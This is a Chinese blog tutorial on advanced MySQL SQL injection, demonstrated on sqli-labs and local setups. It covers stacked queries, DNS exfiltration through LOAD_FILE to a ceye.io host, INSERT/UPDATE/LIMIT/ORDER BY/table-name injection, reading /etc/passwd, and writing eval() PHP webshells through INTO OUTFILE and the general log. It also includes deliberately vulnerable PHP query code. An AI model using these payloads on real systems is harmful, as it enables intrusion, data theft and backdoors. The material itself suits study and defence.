前言

特别感谢木爷,有一些是摘了一点木爷的图片,本地无环境;http://wjlshare.com/archives/1479

本篇文章将会介绍之前并未介绍的注入方式以及方法,若想观看基于MySQL的联合查询注入、盲注、报错注入,请看前面的文章,我会在文章中穿插介绍函数,希望大家注意

基于MySQL的堆叠注入

什么叫堆叠注入

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆SQL语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在MySQL中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。我们就可以多句一起使用,那么这个叫就做 stacked injection

堆叠注入特点以及原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

这里在MySQL中输入 select 1;select 2;MySQL会执先后执行两条语句

TW4DDx.png

这里大家可以看见,数据库先执行科select 1后再执行了select 2,这便是MySQL多语句执行的特性,先执前一语句,后执行后一语句,故出现了如图所示的效果。那么这就是进行了一次堆叠查询,同时执行了两个语句,就叫做堆叠

一个SQLlabs的例子

这里是SQLlabs-38关,我们想得到MySQL的库名(database)

同样的先进行测试输入?id=1'发现错误

TW4c5D.png

然后进行闭合,输入?id=1' --+ 发现正常输出了usernamepassword,说明存在注入漏洞,尝试使用堆叠进行注入

TW4yVK.png

这里使用插入函数insert,简单介绍一下这个插入函数,这里使用的是向字段中的所有字段赋值,用法如下

insert (into) user value('id',(你想要获取的字段),'name') -- into可以有,也可以没有

如果想要更具体一点的对insert()介绍,请看这位师傅的文章

https://blog.csdn.net/ksp416/article/details/48711823?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~default-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~default-1.no_search_link&utm_relevant_index=1

接着进入我们的靶场,键入?id=1';insert users values('115',database(),'LZX'); --+来向MySQL库中中插入一条ID=115,username为database(),password为LZX的数据

TW46UO.png

这时当我们直接访问id=115时,便会直接在username处外带出我们想要的东西,例如database() version()

TW4rb6.png

那么便达到了我们注入并且得到信息的目的

基于DNS的注入

DNS想必大家并不陌生,这里就不具体介绍,这里我只是简单设计说一下,关于DNS注入我重点介绍基于MySQL的,其他只是简单提及一点

简单介绍一下DNS

DNS是进行域名和与之相对应的IP地址转换的服务器

DNS域名解析:
主机向本地域名服务器的查询一般都是采用递归查询
当主机所询问的本地域名服务器不知道被查询的域名的IP地址,那么本地域名服务器就以DNS客户的身份,向其它根域名服务器继续发出查询请求报文(即替主机继续查询),而不是让主机自己进行下一步查询。
因此,递归查询返回的查询结果或者是所要查询的IP地址,或者是报错,表示无法查询到所需的IP地址。

基于MySQL的DNS注入

MySQL中的DNS注入借用 load_file ()函数进行注入,改函数会将括号内的语句进行执行并且返回执行结果

先去DNS网站注册一个可以使用的DNS,这里我推荐一个http://ceye.io 我的是sg4avy.ceye.io

先查看一下用户,我本地就是root@localhost

mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

在数据库中执行下方语句,注意DNS地址要换成你自己的dns地址

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.ip.port.sg4avy.ceye.io\\abc'));

那么我们在dns服务器中就会收到信息,这里我们查询时使用了hex()进行了16进制编码,我们进行解码即可

TW4O2j.png

可以看到成功通过dns带出了数据,这里实际站点我就不进行演示,跟这个差不多

TW4qPg.png

其他数据库使用DNS

0x01 Microsoft SQL Server

master..xp_dirtree    (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)

master..xp_fileexist     (用于确定一个特定的文件是否存在于硬盘)

master..xp_subdirs     (用于得到给定的文件夹内的文件夹列表)

0x02 Oracle

GET_HOST_ADDRES(用于检索特定主机的IP)

UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据)

0x03 PostgreSQL

COPY(用于在文件系统的文件和表之间拷贝数据)

Insert注入&Update注入

insert处进行注入

当遇到的注入点在insert处时,可以报错或者时间盲注进行注入,只是跟前面的插入位置不同

0x01 报错注入

insert into admin values(1,(extractvalue(1,concat(0x7e,version()))),1); 
extractvalue(1,concat(0x7e,(payload))) -- payload处便是我们构造的语句

例如我这里构造为version(),成功带出了我们数据库的版本ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'

0x02 时间盲注

insert into daily values(1,(select case when user() like "%r%" then sleep(5) else 1 end));

时间盲注就根据时间延迟进行判断即可,在真实环境下还是利用上面这种sleep好一些因为这样是不会进行数据的修改的

Update处进行注入

在Update处注入跟上方类似,也是使用sleep()函数进行注入

<?php
    error_reporting(0);
    // $id = $_GET['id'];
    $score = $_GET['score'];
    // $score= 'hhh';
    $conn = new mysqli("127.0.0.1","root","你的密码","test");  // 链接数据库 
    if($conn){
        echo "success";
        echo "</br>";
    }else{
        echo "fail"."</br>";
    }
    // $sql = "SELECT * FROM daily WHERE id=$id";
    $sql = "UPDATE daily SET score=($score) where id=8";
    $result = $conn->query($sql);
    if($result === TRUE){
        echo "done";
        echo "</br>";
    }else{

        print_r(mysqli_error($result));
    }

web下的注入语句

http://127.0.0.1/sql/lab.php?score=select case when(user() like "%r%") then sleep(5) else 1 end 

LIMIT处注入

字面意思,在limit处进行的注入

写文件

将数据表中的内容写入文件中

select * from 数据表 limit 1 into outfile 'D:\\phpStudy\\MySQL\\1.txt';

procedure analyse

版本要求 mysql<5.6.6的5.x系列

模版:

procedure analyse(extractvalue(1,concat(0x3a,PAYLOAD)),1);

爆数据库

select * from 数据表 order by id limit 0,1 procedure analyse(extractvalue(1,concat(0x3a,database())),1);

结合union语句

直接在正常的limit后面加上union语句即可,例如

select * from sqltest where id=1 limit 0,1 union select 1,2

结果如下

+----+---------+
| id | name
+----+---------+
|  1 | plumstar      
|  1 | 2        
+----+---------+
select * from plumstar where id=1 limit 0,1 union select (select version()),(select version());

两处都可以进行注入

+------------+------------+
| id         | name       
+------------+------------+
| 1          | plumstar        
| 5.5.62-log | 5.5.62-log 
+------------+------------+

可以看到注入成功

结合时间盲注

select * from plumstar where id=1 limit 0,1 union select 1,if(substring(user(),1,1)='r',sleep(5),1);`

具体步骤都和前面的一样就不过多阐述了

order by处注入

何为order by处注入

可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']

注入简单判断

在早期注入大量存在的时候,利用order by子句进行快速猜解表中的列数,再配合union select语句进行回显。在测试时,测试者可以通过修改order参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。

在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1order=2是不一样的。

进一步进行payload

/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序

另外利用rand函数也能达到类似的效果,可以观测到排序的结果不一样

/?order=rand(1=1) 
/?order=rand(1=2)

利用报错进行注入

也只是报错位置不同而已

0x01 利用updatexml

/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误

0x02 利用regexp

/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误

利用extractvalue

/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误

利用的payload的语句为,这里加and和不加都可以实现

select * from admin order by id, updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
select * from admin order by 1 and updatexml(0x3e,concat(0x3e,(user())),0x3e);

这里简单举个例子Sql-labs-less46

?sort=1 and updatexml(1,concat(0x7e,user(),0x7e),1)

TW4xrq.png

基于时间的盲注

select * from admin order by 1 RLIKE (CASE WHEN (substring(user(),1,1)='a') THEN 1 ELSE sleep(4));
-- 注意最好不要这样使用,会导致全表延迟,需要避免这种情况

可以使用if语句结合sleep、benchmark函数进行注入

?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2

来到Sql-labs less48,前面我们已经知道,输入会自行排序,这里我数据库名第一位是s

?sort=if(substring(database(),1,1)='s',(select benchmark(1000000,sha(1))),id)

TW4zq0.png

可以看到排序成功并且延时,注入成功。

table处进行SQL注入

原文章:http://wjlshare.com/archives/1479

看木头师傅文章学到的,注入点在表名处,之前从没遇到过

这里遇到的比较少 ,像如下例子注入点在表名

$conn = mysqli_connect($host,$username,$password,$db,$port);
try {
    $sql = 'select * from '.$_GET['table'].' where id=1';
    $res = mysqli_query($conn,$sql);
    $rows = mysqli_fetch_all($res);
    var_dump($rows);
} catch (Exception $result){
    print_r(mysqli_error($result));
} finally {
    mysqli_close($conn);
}

利用如下语句可注入

select * from (select * from hello) as a where id =1

TW4Xxs.png

可以跨数据库进行查询,前提是后面的where中的字段别的数据表中有,上面限定了where id=1 但是information_schema.schemata中并没有id字段那么就无法查询出来,如果将where去掉,即可进行查询

TW4vMn.png

MySQL读写文件

读写文件需要满足的条件

查看**secure_file_priv ** (5.5.53之前的版本是secure_file_priv变量 默认为空)

show variables like "%secure%";

TW5pZV.png

可以看到这里我们的secure_file_priv 的值为空,则指的是对导入和导出不做限制

  • secure_file_priv NULL 不允许任何文件进行导入导出操作
  • secure_file_priv 空 对导入导出操作不做任何限制
  • secure_file_priv G:\ 只允许在G盘进行导入导出操作

如果要修改secure_file_priv 要在 mysql.ini (windows)/ my.cnf (linux) 文件中进行修改

其次!当前用户一定要为root用户!无root权限的话不会成功

select load_file('/etc/passwd');
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';
select '<?php phpinfo(); ?>' into dumpfile '/var/www/shell.php';

Linux下写文件

如果想要使用读写函数,必须满足以下要求:

  1. 当前用户是root用户

  2. secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹

  3. 写shell的文件夹必须要 777的权限不然会写入失败

  4. 文件大小: 必须小于max_allowed_packet

满足以上条件我们的文件才会正常写入

select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';

如果没有文件夹权限会报错。

Linux下读文件

Linux下读文件要求就相对少一些

  1. 当前用户是root用户
  2. 目标文件可读。
select load_file('/etc/passwd');

Windows下读文件

条件

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)
select load_file('D:/phpstudy/read.txt');

TW59aT.png

Windows下写文件

条件

  1. 用户root
  2. secure_file_priv 要为空(或指定路径为我们可以访问到的)

这里我本地两个条件均符合

TW5FG4.png

写入成功

TW5iiF.png

SQL注入写入shell

条件(再叙述一遍,上面已经提到过一些)

1.要能文件读写

2.用户一定要root不然是没有权限的

3.secure_file_priv 要为空(或指定路径为我们可以访问到的)

利用绝对路径写入木马

类似下面这样

select '<?php eval($_POST['pwd']); ?>' into outfile /homt/wwwroot/default/a.php

利用mysql的日志getshell

其实原理都是相同的,把我们的木马放到我们的网站根目录下,这种情况的话比较适合于已经登陆进phpmyadmin,windows才可以用这种方式 linux下对文件路径进行一个规定只能往 /tmp/ /var/ 下写

将我们的mysql日志文件移动到我们的web目录下,然后将我们的代码引入到日志文件中,最终getshell

知道网站的绝对路径 (从一些探针文件或者phpinfo 等文件中进行一个获取)

SET GLOBAL general_log_file=ON;
SET GLOBAL general_log_file='/homt/wwwroot/default/a.php';
SELECT '<?php eval($_POST['test']); ?>';
SET GLOBAL general_log_file=OFF;

未完待续,敬请期待

参考

https://www.bilibili.com/video/BV1VA411u7Tg?t=4809&p=9

https://www.cnblogs.com/backlion/p/9721687.html

https://blog.csdn.net/Auuuuuuuu/article/details/88082184

https://www.secpulse.com/archives/57197.html